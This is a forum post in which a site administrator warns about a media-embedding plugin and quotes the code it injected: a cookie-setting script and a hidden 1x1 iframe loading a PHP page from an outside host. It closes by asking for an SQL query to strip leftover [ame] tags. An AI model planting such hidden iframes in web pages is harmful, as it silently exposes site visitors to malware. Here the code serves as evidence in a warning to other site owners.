[ShackMaster]

BEWARE OF THIS PLUGIN! We believe we had a vulnerability using the AME (Auto Media Embedder) product/plugin and have removed the plugin. We are actually certain this was the culprit now that it has been removed and the malicious code is no longer a problem. Here is the malicious code it was injecting:

<script> function SetCookie(cookieName,cookieContent){ var cookiePath =
'/'; var expDate=new Date();
expDate.setTime(expDate.getTime()+372800000) ; var
expires=expDate.toGMTString();
document.cookie=cookieName+"="+escape(cookieContent)+";path="+escape(cookiePath)+";expires="+expires;
} SetCookie("hsmsdn", "turk"); </script> <iframe
name="1" width="1" height="1"
scrolling="no" frameborder="no" marginwidth="0"
marginheight="0"
src="http://www.chekolkal.co.cc/felk.php"></iframe>

Of course we got several warnings from Google who was blocking some of our pages due to the malicious code.

We tried to convert the AME code back to normal URL's prior to removing the product, but it would not work. We have removed it, but now those posts have the [ame] tags wrapped around a media link and we would like to remove them and not have to do it manually.

Is there an SQL query we can run that will remove all instances of [ame] and [/ame]?

Thanks!